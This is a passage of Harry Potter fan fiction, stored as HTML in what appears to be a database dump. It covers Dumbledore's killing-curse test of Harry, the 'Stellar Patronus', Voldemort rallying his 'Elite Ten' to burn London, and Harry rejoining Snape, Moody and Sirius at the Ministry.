now...&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Not Harry, please no take\nme, kill me instead -&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Harry shook his head, trying to\ndislodge the thoughts from his head.&nbsp;\nHowever, he simply could not dislodge his mother&#8217;s voice and words.&nbsp; &#8220;Not Harry...&#8221; he muttered before finally\ndrifting off to sleep.</p>\n\n<p>&nbsp;</p>\n\n<p>Meanwhile, inside the cottage,\nDumbledore was talking to Fawkes.&nbsp; &#8220;So,\nit comes to this,&#8221; he whispered to the phoenix.&nbsp; Fawkes twitched his head and gave his master a piercing look.&nbsp; Dumbledore stroked Fawkes&#8217;s feathers.&nbsp; &#8220;Whether Harry passes the test or not,\ntomorrow will most likely be the day one of us goes on the next great\nadventure.&#8221;&nbsp; After a brief moment of\nsilence, Fawkes started singing his enchanting phoenix-song.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Morning came far too quickly for\nHarry&#8217;s tastes.&nbsp; Before he had fully\ncomprehended what had happened the sun was already high in the sky and he and\nDumbledore were standing twenty feet apart facing each other.&nbsp; Harry looked rather sick while Dumbledore\nlooked solemn.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you ready Harry?&#8221; asked Dumbledore.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Harry simply said nothing and\ncontinued starring down at his shoes.&nbsp;\nFinally, he looked up and said, &#8220;I am ready to give up my life to defeat\nVoldemort: I am ready to give up my life to learn this spell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whichever way. I wish you\nluck.&#8221;&nbsp; Slowly, Dumbledore lifted his\nwand up toward Harry and shouted, <i>&#8220;Avada Kedavra!&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;So, this is what it has come\nto?&#8217;</i> thought Harry as\nthe green light rushed toward him.&nbsp; <i>&#8216;After\na lifetime of fighting Voldemort I fall before not him but my own mentor?&nbsp; Talk about dramatic irony.&#8217;</i>&nbsp; Harry&#8217;s life flashed before his eyes: living\nten years in a cupboard at the Durselys&#8217;, receiving the acceptance letter to\nHogwarts, meeting Ron and the Weasleys, meeting Hermione, searching for the\nPhilosopher&#8217;s Stone, searching for the Chamber of Secrets, encountering Sirius\nfor the first time, competing in the Triwizard Tournament, meeting the Order of\nthe Phoenix, growing closer to Hermione after her parents&#8217; death, the Slytherin\nRevolts, Fudge&#8217;s assassination and the events that followed leading up to this\nmoment.</p>\n\n<p>&nbsp;</p>\n\n<p>Everything seemed to slow\ndown.&nbsp; The single second it took for the\ngreen light to come engulf Harry seemed like hours to Harry.&nbsp; So many memories, so many regrets.&nbsp; More then anything, Harry regretted that he\nwouldn&#8217;t be able to be with Hermione again, that he would be leaving her\nbehind...</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Not Harry, please no take\nme, kill me instead -&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Lily&#8217;s words flashed into\nHarry&#8217;s head.&nbsp; His mother had sacrificed\nher own life so that he might live.&nbsp; And\nhere he was throwing away that life she had given him.&nbsp; Here he was constantly ready to give up that\nlife which Lily had valued far more than her own.&nbsp; Harry&#8217;s own words flitted into his head: <i>&#8220;But I&#8217;m ready to\nthrow my life away to defeat Voldemort.&#8221;</i>&nbsp;\nBut that would mean that he would be throwing away his mother&#8217;s gift of\nlife to him.&nbsp; He had so much to live\nfor!&nbsp; He had to live, so that Hermione\nwouldn&#8217;t have to suffer any more pain.&nbsp;\nHe had to live so that his parents&#8217; sacrifice actually meant something.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;But I&#8217;m ready to throw my\nlife away to defeat Voldemort.&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I AM NOT READY TO DIE!&#8221;&nbsp; Harry pointed his wand toward the green\nlight of the killing curse, his green eyes blazing with life, and screamed the\nwords he never even realized he had remembered since he was a baby: <i>&#8220;ASTRA\nPATRONUM LEO!&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>What happened next, was a blur\nto Harry.&nbsp; His wand emitted a series of\nlights that arranged themselves into the constellation Leo.&nbsp; A dazzling scarlet and gold male lion, clearly\na patronus, burst forth from the lights and gave a mighty roar.&nbsp; Before Harry had truly comprehended what had\nhappened, the lion patronus leapt toward the green light of the killing curse,\ncausing it to deflect away into the sky.</p>\n\n<p>&nbsp;</p>\n\n<p>Shocked, Harry dropped his\nwand.&nbsp; He tried to say something but\nsuddenly found himself tongue-tied.&nbsp; The\nlion stepped in front of Harry, made a bow and faded away.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My congratulations to you Harry\nPotter, you have passed the test,&#8221; said Dumbledore.&nbsp; Harry looked up at him but said nothing; he was still in\nshock.&nbsp; Dumbledore continued, &#8220;You see\nHarry, whereas a standard Patronus Charm is activated by happiness, the Stellar\nPatronus can only be activated something similar yet different, the will to\nlive despite overwhelming odds.&nbsp;\nAdmirable as wishing to throw your life away for the sake of good is,\nthere is no point in victory unless you live to celebrate it.&#8221;&nbsp; With that, Dumbledore wheezed and fell to\nhis knees.&nbsp; That snapped Harry out of\nhis daze.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Professor!&#8221; he cried.&nbsp; Dumbledore raised his hand to stop him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There is no need to grieve\nHarry,&#8221; said Dumbledore.&nbsp; &#8220;Ironic isn&#8217;t\nit that I give up my life to teach you not to give up yours?&nbsp; If I had been but a few years younger I\nprobably would&#8217;ve lived after firing that killing curse but alas, I have grown\nold and weary and the curse was a little too much for me to handle.&nbsp; Do not grieve Harry, for I simply starting\nmy journey to the next great adventure.&#8221;&nbsp;\nWith that, Dumbledore fell over much to Harry&#8217;s horror.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;PROFESSOR!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N OK, first the good news: &#8220;Harry\nPotter and the Order of the Phoenix&#8221; due to be published on June 21st.&nbsp; Hooray!&nbsp;\nNext, the bad news...well I&#8217;m sure everybody knows what happened to the\nshuttlecraft Columbia.&nbsp; I wish to pray for\ntheir families and ask that God take care of the loved ones of those seven\nbrave souls who lost their lives for the sake of mankind.&nbsp; God bless them.&nbsp; Next: We finally get to see the workings of Voldemort&#8217;s ultimate\nplans for conquest.</p>\n\n\n\n\n\n\n'),
	(33, 13, '\n\n\n\n<p><b>Different Paths (13)</b><br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.&nbsp; H/H and D/G.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, Studio Gallop, and other publishers. No money is being\nmade and no copyright or trademark infringement is intended from them either.<br>\n<b>Author notes: </b>I&#8217;ve been sick recently.&nbsp;\nI&#8217;ve been having horrendous indigestion, heartburn, and gastro problems\nbut I&#8217;m feeling a lot better now.&nbsp;\nUnfortunately, I had to skip a few of my classes, which really is\nproblematic since it&#8217;s midterm time.&nbsp; I\nreally am going to have a difficult time in college these next few weeks.&nbsp; Hoo boy. </p>\n\n<p>On another note, congratulations to the H/H shippers of the HMS\nPumpkin Pie for opening the website, pumpkinpie.org</p>\n\n<p><b>Chapter 13: The Elite Ten</b></p>\n\n\n\n<p>Harry rummaged through the various potions in stocked on the\nshelves.&nbsp; There was quite a large\nassortment of bottles and jars on the shelf, all filled various colored\nliquids.&nbsp; Finally, he found a small jar\ncontaining an orange liquid labeled, <i>&#8220;Paeanis Instans&#8221;</i>.</p>\n\n<p>&#8220;Here we are,&#8221; he muttered, &#8220;the instant healer potion.&#8221;&nbsp; Harry remembered back to the time early in\nhis fifth year when Madam Pomfrey had run low in her stock of the &#8216;Paenis\nInstans&#8217; and Snape had his fifth years brew the instant healer potions.&nbsp; Harry remembered with a grimace when Snape\nhad taken 10 points off since his potion was a tad to thick.&nbsp; Harry noticed that the potion in\nDumbledore&#8217;s stock had the perfect texture of liquidness.</p>\n\n<p>Hurriedly, Harry took the potion to the nearby bed.&nbsp; On it was a comatose Dumbeldore looking for\nall practical purposes dead.&nbsp; A worried\nlooking Fawkes was perched on the headboard.&nbsp;\nCarefully, Harry poured seven drops of the potion into Dumbledore&#8217;s\nmouth.&nbsp; He placed the jar of potion on\nthe bedside table and sat down on the floor.&nbsp;\n&#8220;Guess all I can do now is wait,&#8221; he muttered.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Back at Voldemort&#8217;s lair, the last of the Elite Ten had finally\ngathered.&nbsp; One of the last one&#8217;s to\napproach was a plump, balding man with a rat like nose and gleaming silver\nhand.&nbsp; He approached the Dark Lord on\nhis knees and started kissing the hem of his robes.&nbsp; &#8220;My Lord, I have come,&#8221; he said.</p>\n\n<p>Voldemort looked uncomfortable while Horace and Yasmin, each\nstanding on the right and left sides of Voldemort&#8217;s throne, regarded the man\nwith disgust.&nbsp; &#8220;Wormtail,&#8221; said\nVoldemort, spitting the name out like it was a poison.</p>\n\n<p>Horace wrinkled his nose in disgust.&nbsp; &#8220;Pettigrew,&#8221; he leered.&nbsp;\n&#8220;Where is Fenis?&nbsp; You were\nsupposed to have brought to him here.&#8221;</p>\n\n<p>&#8220;Oh, but he is here,&#8221; said Wormtail.&nbsp; &#8220;He was much to large to fit into the lair so I left him outside\nof the city.&#8221;&nbsp; Wormtail turned to the\nDark Lord and said, &#8220;I am here to do your bidding my Lord, as one of your Elite\nTen.&#8221;</p>\n\n<p>&#8220;Get up Wormtail,&#8221; said Voldemort, looking at Wormtail with\nclear disdain.&nbsp; &#8220;You seem to have forgotten\nthat the only reason why you&#8217;re a member of my Elite Ten is because you&#8217;re the\nonly one of us able to control Fenis without the aid of the Imperious.&nbsp; There weren&#8217;t any other potential candidates\nfor the position after Lucius&#8217;s death caused an opening in my line up of the\nElite Ten.&nbsp; Don&#8217;t take the position for\ngranted.&#8221;</p>\n\n<p>&#8220;Yes, my Lord,&#8221; said Wormtail standing up, clearly taken aback.</p>\n\n<p>A clear feminine laugh came from the entrance of the Throne\nChamber.&nbsp; Yasmin visibly tensed.&nbsp; &#8220;Oh, has dear Peter Pettigrew been\nforgetting his place again?&nbsp; Of course,\nI suppose we can&#8217;t really blame him.&#8221;&nbsp;\nThe voice came from a beautiful young woman of about seventeen.&nbsp; She had waist length glossy black hair,\ncrystal blue eyes, pale, near white skin, and deep ruby lips.&nbsp; She wore tight blue and black robes, and was\ncarrying a gnarled wooden staff.&nbsp; She\nwas also glancing at Voldemort in an admiring way that seemed to make Yasmin\nfurious.</p>\n\n<p>Yasmin forced a smile onto her face and strolled out to meet\nthe woman in the middle of the chamber.&nbsp;\n&#8220;Cassandra Frost,&#8221; she said, &#8220;how <i>nice</i> of you to join us.&#8221;&nbsp; Her voice was clearly dripping with sarcasm.</p>\n\n<p>Cassandra also forced a smile onto her face as she stood face\nto face with Yasmin.&nbsp; &#8220;Really Yasmin,\nI&#8217;m surprised you even cared,&#8221; she said.</p>\n\n<p>&#8220;Why of course I care,&#8221; said Yasmin, still with a forced\nsmile.&nbsp; &#8220;It would really be <i>tragic</i>\nif one of our Lord&#8217;s Elite Ten was not able to make it to the final battle.&#8221;</p>\n\n<p>&#8220;My, my, my, is that sarcasm I here, Yasmin?&nbsp; If I didn&#8217;t know better, I would swear that\nyou were threatened by me.&#8221;</p>\n\n<p>&#8220;Why would I be threatened by you, Carbon Succubus?&nbsp; The merest kiss from you brings death to\nthat very object of affection.&#8221;</p>\n\n<p>Cassandra scoffed.&nbsp; &#8220;My,\nmy I seem to be a threat to a woman in her sixties.&nbsp; And why is that may I ask?&nbsp;\nIs it because I am young and naturally beautiful while you have to use\nde-aging charms to look decent?&#8221;</p>\n\n<p>&#8220;Succubus!&#8221; hissed Yasmin.</p>\n\n<p>&#8220;Hag!&#8221; snapped Cassandra.</p>\n\n<p>&#8220;Now, now, ladies,&#8221; said Voldemort standing up, &#8220;that&#8217;s enough\narguing between the two of you.&#8221;</p>\n\n<p>Hearing Voldemort&#8217;s voice, Yasmin and Cassandra reluctantly\nstopped arguing though they continued glaring at each other.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>The rest of the Elite Ten were gathered outside of the\nChamber.&nbsp; Flame and Icicle were\nconversing in whispers in a corner of the hallway.&nbsp; Angelus was sitting on the floor, his legs crossed and his eyes\nclosed.&nbsp; Grindelwald was leaning on the\nwall opposite Angelus.</p>\n\n<p>&#8220;So, Angelus how have you been?&#8221; said Grindelwald.&nbsp; Angelus simply ignored him.&nbsp; Grindelwald smirked.</p>\n\n<p>A second later, the doors to the throne chamber burst open and\nWormtail scampered out, followed by Cassandra.&nbsp;\nGrindelwald ignored Wormtail and turned his attention to Cassandra.&nbsp; &#8220;Frost, is that you?&nbsp; Whatever would make you leave your dear\nRiddle&#8217;s side?&#8221;</p>\n\n<p>Cassandra glared at Grindelwald.&nbsp; &#8220;For your information, our Lord and Horace have some plans to\ndiscuss.&#8221;</p>\n\n<p>&#8220;Indeed,&#8221; said Grindelwald.&nbsp;\n&#8220;And yet he allows Yasmin Corellan to remain.&#8221;&nbsp; He laughed as Cassandra and Icicle glared at him.</p>\n\n<p>Grindelwald abruptly stopped laughing when he heard someone\nheading toward them.&nbsp; It was Seth,\ncarrying a small box and humming a tune.&nbsp;\nHe glanced at the other members of the Elite Ten and cheerily said, &#8220;Why\nhello everybody.&#8221;</p>\n\n<p>&#8220;Well, if it isn&#8217;t Riddle&#8217;s favorite,&#8221; said Grindelwald. &nbsp;&#8220;Going back to your feeder, lapdog?&#8221;</p>\n\n<p>Seth smiled.&nbsp; &#8220;Why Mr.\nGrindelwald, whatever could you possibly mean?&#8221;</p>\n\n<p>&#8220;You and Riddle have something planned,&#8221; said Grindelwald\nfacing Seth.&nbsp; &#8220;You say the ultimate plan\nfor conquest will be with the burning of London, yet Riddle doesn&#8217;t makes us\nswear an oath of secrecy.&nbsp; In fact,\nRiddle is letting the Elite Ten lead the attack on London rather than\nhimself.&nbsp; Now that gets me thinking, why\nwould Riddle allow one of his stooges to grab the glory of conquest when he\ncould have all of the glory for himself?&#8221;</p>\n\n<p>&#8220;Ah, that is a mystery isn&#8217;t it?&#8221; said Seth, still\nsmiling.&nbsp; &#8220;So why ask me?&#8221;</p>\n\n<p>Grindelwald chuckled.&nbsp;\n&#8220;I may be blind Seth, but I pride myself on being able to read\npeople.&nbsp; The simple change in heartbeat,\nan increase in the amount of sweat trailing down your brow.&nbsp; Behind that emotionless fa&#231;ade of yours,\nthere is something with you Seth Soran.&nbsp;\nAnd Riddle has something on that making you bend to his every will.&nbsp; You can hide it from all of the other Death\nEaters but you can&#8217;t hide it from me.&#8221;</p>\n\n<p>&#8220;Indeed,&#8221; said Seth still smiling.&nbsp; &#8220;So, whatever do you plan to do about it?&#8221;</p>\n\n<p>&#8220;Nothing,&#8221; said Grindelwald.&nbsp;\n&#8220;Riddle can boss anybody around for all I care.&nbsp; I&#8217;m just here to get a piece of the action,\nand a piece of Riddle.&#8221;</p>\n\n<p>Seth smiled at him and the rest of the Elite Ten and entered\nthe throne chamber.&nbsp; Voldemort and\nHorace were discussing something while Yasmin was standing nearby looking\ndisinterested.&nbsp; Seth grinned and walked\nup to them.&nbsp; &#8220;Mr. Voldemort.&#8221;</p>\n\n<p>Horace looked up looking a little irritated.&nbsp; &#8220;Seth, we&#8217;re discussing something here...&#8221;\nHe would&#8217;ve said more if Voldemort hadn&#8217;t silenced him.</p>\n\n<p>Seth smiled and said, &#8220;I picked up some muffins.&nbsp; Would you like some?&#8221;&nbsp; He opened the box displaying some\nmuffins.&nbsp; However, Voldemort, Horace,\nand Yasmin&#8217;s attention was diverted to not to the muffins, but to the words\nwritten on the inside of the box&#8217;s lid, visible only to them:</p>\n\n<p><i>The ship is ready.&nbsp;\nWe can set sail any time you wish. &nbsp;</i></p>\n\n\n\n<p><i>P.S. Mr. Gindelwald appears to have figured something out but I&#8217;m sure\nthings will be fine.</i></p>\n\n\n\n<p>Voldemort grinned and Horace looked delighted.&nbsp; &#8220;Excellent,&#8221; he said.</p>\n\n<p>Minutes later, Voldemort gathered his entire force into the\nmagically expanded Throne Chamber.&nbsp;\nHundreds of Death Eaters were crowded into the rooms, their faces hidden\nby their masks and black robes.&nbsp;\nFlanking them alongside the walls were Dementors, standing tall and\nmenacing.&nbsp; In front of the entire group\nwere nine witches and wizards dressed in their own attire, the Elite Ten.&nbsp; They were standing in front of Voldemort\nseated on his throne.&nbsp; Standing right\nnext to the Dark Lord&#8217;s throne was Yasmin.</p>\n\n<p>Voldemort stood up and addressed the crowd.&nbsp; &#8220;Death Eaters!&nbsp; Dementors!&nbsp; My family my\nchildren!&nbsp; Our hour of victory is at\nhand.&#8221;</p>\n\n<p>The throne room was filled with the cheers of the Death\nEaters.&nbsp; Voldemort looked pleased at the\nresponse.&nbsp; The responses of the Elite\nTen were mixed: Seth was nodding approvingly, while Grindelwald was\nsnickering.&nbsp; Angelus looked impassive,\nWormtail was cheering along with the rest of the Death Eaters.&nbsp; Icicle was starring at Voldemort admiringly\nwhile Flame was shaking her head at her.&nbsp;\nCassandra was also looking admiringly at Voldemort while at the same\ntime glaring at Yasmin, who glared right back.&nbsp;\nHorace looked proud to be there.</p>\n\n<p>Voldemort continued speaking, &#8220;Unfortunately, due to certain\ncircumstances, Chucky the Wand Hunter couldn&#8217;t join us in our hour of\nvictory.&nbsp; However, the rest of the Elite\nTen is gathered here to lead you to glory: Seth the Naturale, Grindelwald the\nBlind Spell, Angelus the Destroyer, Cassandra the Death Kiss, Icicle the\nFreezer, Flame the Burner, Wormtail the Titan Controller, Fenis the Titan\nControlled, and Horace the Informer.&nbsp;\nFollow them to your destiny!&nbsp; For\nthis night, the night before the full moon, London shall burn and the Ministry\nshall fall!&nbsp; Our order starts this night\nand history shall forever remember this day as the start of the new order!&nbsp; Our Order!&nbsp;\nTo Victory!&#8221;</p>\n\n<p>The Death Eaters started cheering, their chants of\n&#8220;Victory!&nbsp; Victory!&#8221; sounding throughout\nthe chamber.&nbsp; Amongst the cheering and\nthe chanting, the Dark Lord&#8217;s laughter sounded clearly.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Harry woke up suddenly, realizing that he had dosed off.&nbsp; He yawned and stretched before looking\naround.</p>\n\n<p>&#8220;Ah, I see you&#8217;re up. &nbsp;You&#8217;ve been asleep for quite a while now!&#8221;&nbsp; Harry looked up with a start.&nbsp; There, standing in the doorway of the\ncottage, his blue eyes twinkling was Albus Dumbledore looking healthy and very\nmuch alive.</p>\n\n<p>Harry was instantly filled with a myriad of emotions but the\nones that came out most of all were relief and extreme joy.&nbsp; &#8220;Professor!&#8221; he cried, leaping to his feet\nand dashing over to the former headmaster intending to embrace him.&nbsp; Unfortunately in his haste, Harry tripped\nover his own feet and went careening into the wall next to the doorway.</p>\n\n<p>&#8220;Ah, I see you are doing well,&#8221; said Dumbledore.&nbsp; &#8220;Of course, over-enthusiasm could be a\nlittle painful at times.&#8221;</p>\n\n<p>&#8220;You could say that again,&#8221; said Harry, massaging a lump on his\nhead.&nbsp; He smiled at his mentor and said,\n&#8220;It looks like the Instant Healer potion worked.&#8221;</p>\n\n<p>&#8220;You mean the liquid in this bottle?&#8221; said Dumbledore picking\nup the bottle on his bedside table labeled <i>&#8220;Paeanis Instans&#8221;</i>.&nbsp; &#8220;Why, I&#8217;m afraid Harry, that this is nothing\nmore than pumpkin juice.&#8221;</p>\n\n<p>Harry sat up straight, his eyes wide.&nbsp; &#8220;What?&#8221;</p>\n\n<p>&#8220;Here, try it for yourself.&#8221;&nbsp;\nDumbledore tossed the bottle to Harry.&nbsp;\nHarry sipped a little bit of the liquid and found that it was indeed\npumpkin juice.</p>\n\n<p>&#8220;But, how...how come you&#8217;re...&#8221;</p>\n\n<p>&#8220;Alive?&#8221; said Dumbledore.&nbsp;\n&#8220;At first I myself was a little confused.&nbsp; With my age and considering the amount of curse damage I have\naccumulated over those years the fallout resulting from a confrontation between\nthe killing curse and the Stellar Patronus should&#8217;ve killed me.&nbsp; However, as you can see I am very much\nalive.&nbsp; While you were asleep I took it\nupon myself to investigate the matter.&nbsp;\nI believe I have found the reason in this.&#8221;&nbsp; Dumbledore pulled out a wand and tossed it to Harry.&nbsp; Harry examined it and realized it was his own\neleven-inch holly rod.</p>\n\n<p>&#8220;My wand?&#8221; asked Harry.</p>\n\n<p>&#8220;Yes Harry, &#8220;replied Dumbledore.&nbsp; He pulled out his own wand and said, <i>&#8220;Prior Incantato.&#8221;</i>&nbsp; Harry, expecting to see the smoky form of\nthe lion of the Stellar Patronus, was surprised when a grayish white beam of\nlight emerged from his wand.&nbsp; Dumbledore\nwhispered <i>&#8220;Deletrius,&#8221;</i> and the light disappeared.</p>\n\n<p>Harry was confused.&nbsp;\n&#8220;That was...&#8221;</p>\n\n<p>&#8220;A healing charm,&#8221; said Dumbledore.&nbsp; &#8220;Not necessarily as precise as the ones Madame Pomfrey uses but a\nhealing charm nonetheless.&nbsp; You clearly\nfired it simultaneously with the Stellar Patronus, unconsciously I assume.&nbsp; You seemed to have a strong concern for my\nhealth which caused you to unconsciously cast the healing charm at the same\ntime you cast the Stellar Patronus.&#8221;</p>\n\n<p>&#8220;But, I didn&#8217;t know you would&#8217;ve, could&#8217;ve died.&#8221;</p>\n\n<p>&#8220;You didn&#8217;t,&#8221; said Dumbledore.&nbsp;\n&#8220;But the owner of the feather compromising the core of your wand\ndid.&#8221;&nbsp; As if on cue, Fawkes flew into\nthe cottage and perched on Dumbledore&#8217;s shoulder.</p>\n\n<p>&#8220;Fawkes?&#8221;</p>\n\n<p>&#8220;Yes, Fawkes,&#8221; said Dumbledore.&nbsp; &#8220;Whenever a phoenix donates his or her feather to a wand, he or\nshe creates a mental bond of sorts with the witch or wizard who owns that\nwand.&nbsp; I would assume that Voldemort has\nbroken the bond he shares with Fawkes years ago but your bond is still\nthere.&nbsp; Fawkes must have used that bond\nto plant the fact that I would be killed in the test unless you used a healing\ncharm simultaneously with the Stellar Patronus.&#8221;</p>\n\n<p>Dumbledore walked over to one of the windows and pulled back\nthe curtain, letting the sun light stream into the room.&nbsp; Harry squinted his eyes.&nbsp; &#8220;None of that matters now,&#8221; said\nDumbledore.&nbsp; &#8220;All you need to think about\nnow is going back to London.&nbsp; You will\nbe facing Voldemort soon.&nbsp; This time,\nwhen you face him you will be armed with the Dark Magic Cleanser and the will\nto live.&nbsp; I am absolutely positive that\nyou will be victorious.&nbsp; Besides,&#8221;\nDumbledore turned to Harry and grinned, &#8220;how could you not win after receiving\nmy personal training?&#8221;</p>\n\n<p>Harry laughed.&nbsp; Finally,\nhe stood up and pulled his mentor into a quick hug.&nbsp; &#8220;Thank you.&nbsp; Thank you for\neverything...Albus.&#8221;</p>\n\n<p>&#8220;Do not mention it,&#8221; replied Dumbledore.&nbsp; &#8220;Now it is time for you to go back.&nbsp; I am sure there are people waiting for you,\nthose who love you and I&#8217;m sure you love in return, especially a certain young\nlady.&#8221;&nbsp; Harry blushed.</p>\n\n<p>Harry stepped out of the cottage and started to head away.&nbsp; However, he hadn&#8217;t gone very far when he\nturned back to Dumbledore.&nbsp; &#8220;Um,\nProfessor.&nbsp; Could you please do me a\nfavor?&#8221;</p>\n\n<p>&#8220;And what may that be?&#8221; asked Dumbeldroe, his eyes twinkling\nonce again.</p>\n\n<p>&#8220;I was wondering, if the Death Eaters were to attack Hermione\nand Ron while I was away fighting Voldemort, if you could...&#8221;</p>\n\n<p>&#8220;You have my word Harry,&#8221; said Dumbledore.&nbsp; &#8220;I will not let any harm come to your\nfriends while you&#8217;re away.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; said Harry.&nbsp;\n&#8220;And Good Bye.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Back at the Ministry of Magic Department of Magical Law\nEnforcement, Severus Snape was studying a map of Great Britain sprawled out\nover his desk.&nbsp; At first glance it\nlooked like a normal map.&nbsp; However, this\nparticular map was in fact a magical map aurors used to detect Dark Magic in\nthe country.&nbsp; While there were varying\ndegrees of black colors on the map indicating Dark Magic in those areas, the\nstrongest concentrations were in London, Manchester, Bristol, Edinburgh,\nBirmingham, Glasgow, Liverpool, and Plymouth.&nbsp;\nSuddenly, Alastair &#8220;Mad-Eye&#8221; Moody burst into the room.</p>\n\n<p>&#8220;Snape ol&#8217; boy!&nbsp; You&#8217;re\nnot going to believe who&#8217;s just arrived,&#8221; he growled.&nbsp; Before Snape could say anything, Harry Potter strolled into the\nroom.</p>\n\n<p>&#8220;Oh look who&#8217;s arrived, the boy wonder,&#8221; said Snape a little\nicily.&nbsp; &#8220;Where have you been?&#8221;</p>\n\n<p>&#8220;Around,&#8221; said Harry a little curtly.</p>\n\n<p>Snape nodded dejectedly.&nbsp;\n&#8220;Hmm, I see,&#8221; he said.&nbsp; &#8220;So have\nyou taken heed of what I told you in Graypine?&nbsp;\nAre you willing to let go of your precious ethics?&#8221;</p>\n\n<p>Harry grinned and said, &#8220;Perhaps.&#8221;&nbsp; Snape snorted.</p>\n\n<p><br>\n&#8220;He deserves to be updated on the situation,&#8221; said Moody.&nbsp; &#8220;Tell him everything that Death Eater told\nyou.&#8221;</p>\n\n<p>&#8220;Fine,&#8221; grumbled Snape.&nbsp;\nPatiently he explained to Harry everything Chucky had told him: about\nVoldemort&#8217;s ultimate plan for absolute power where he was going to unleash his\nforces upon London and burn the city to the ground on the night before the full\nmoon.</p>\n\n<p>&#8220;That&#8217;s tonight!&#8221; exclaimed Harry.</p>\n\n<p>&#8220;There are aurors and hit wizards in position all over the\ncity,&#8221; said Snape.&nbsp; &#8220;We&#8217;ve managed to\nevacuate much of the wizarding population of London but unfortunately, the\nmuggles are still present.&#8221;</p>\n\n<p>&#8220;I&#8217;m sending an owl to the Order of the Phoenix,&#8221; said\nHarry.&nbsp; &#8220;According to Hagrid, they&#8217;ve\ngathered at the Leaky Cauldron, they&#8217;ll be a lot of help in preventing London&#8217;s\nburning.&#8221;&nbsp; He leapt to his feet and ran\nto the door, only to collide into someone standing in the doorway and fall to\nhis feet.</p>\n\n<p>&#8220;Hold it right there young man.&nbsp; You&#8217;re not going anywhere until you have a quick chat with me,&#8221;\nsaid a familiar voice.</p>\n\n<p>&#8220;Sirius?&#8221; exclaimed Harry looking up at his godfather.</p>\n\n<p>&#8220;Right!&#8221; said Sirius.&nbsp;\nHe hauled Harry to his feet and started shaking him.&nbsp; &#8220;You have a lot of nerve, Harry Potter, for\njust taking off like that!&nbsp; Do you have\nany idea how worried I was?&nbsp; Do you have\nany idea how worried Hermione was?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; said Harry.&nbsp;\n&#8220;I&#8217;ve already seen her.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; said Sirius.&nbsp;\n&#8220;Well, in that case,&#8221; he grinned and hugged Harry hard.</p>\n\n<p>&#8220;Sirius, air,&#8221; gasped Harry.&nbsp;\nSirius let Harry go and grinned sheepishly.</p>\n\n<p>&#8220;I&#8217;ll owl the order,&#8221; said Moody.&nbsp; &#8220;You three should discuss the Dark Lord&#8217;s plans: Snape here has\nsome problems with what that Death eater told us.&nbsp; And don&#8217;t forget, CONSTANT VIGILANCE!&#8221;&nbsp; Moody left the room.</p>\n\n<p>&#8220;Problems?&#8221; said Sirius, an eyebrow raised.</p>\n\n<p>&#8220;Didn&#8217;t you think Sullivan talked too easily?&nbsp; The Dark Lord didn&#8217;t make him take an oath\nof silence, doesn&#8217;t that strike you as odd?&nbsp;\nIt&#8217;s almost as if the Dark Lord wanted his plans gift-wrapped to the\nrest of the world so that we&#8217;ll all be prepared for his arrival.&nbsp; Everything single auror, hit wizard, and\neven the Order is prepared for a battle, and the burning of London isn&#8217;t going\nto go easily.&#8221;</p>\n\n<p>&#8220;I see what you&#8217;re getting at,&#8221; said Harry.&nbsp; 